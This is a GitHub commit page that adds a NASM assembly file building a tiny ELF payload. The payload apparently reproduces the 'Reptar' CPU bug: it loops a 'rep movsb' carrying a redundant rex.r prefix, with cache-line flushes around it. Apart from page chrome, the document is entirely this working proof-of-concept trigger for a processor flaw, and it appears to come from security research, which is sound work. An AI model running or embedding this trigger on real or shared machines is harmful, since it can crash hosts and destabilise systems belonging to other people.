-
Notifications
You must be signed in to change notification settings - Fork 411
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
6b1c2b0
commit ceedc79
Showing
2 changed files
with
36 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
%define TINY_ELF_BASE_ADDRESS 0x7fffffffe000 | ||
%macro TINY_ELF_PAYLOAD 0 | ||
_start: | ||
lea rax, [rsp - 0x1000] | ||
mov r15, .skip_reptar_alias | ||
jmp r15 | ||
align 16 | ||
.loop_for_every_iteration: | ||
.loop_only_on_bug: | ||
clflush [rax] | ||
clflush [rax+64] | ||
mov rsi, rax | ||
mov rdi, rax | ||
mov cl, 1 | ||
align 16 | ||
inc rbp | ||
clflush [rax] | ||
clflush [rax+1] | ||
.reptar: | ||
rep | ||
db 0x44; rex.r | ||
movsb | ||
.after_reptar: | ||
pause | ||
times 64 nop | ||
jmp r15 | ||
.skip_reptar_alias: | ||
inc rdx | ||
jmp .loop_for_every_iteration | ||
.end_of_program: | ||
int3 | ||
int3 | ||
%endmacro | ||
|
||
%include "third_party/tiny_elf.asm" |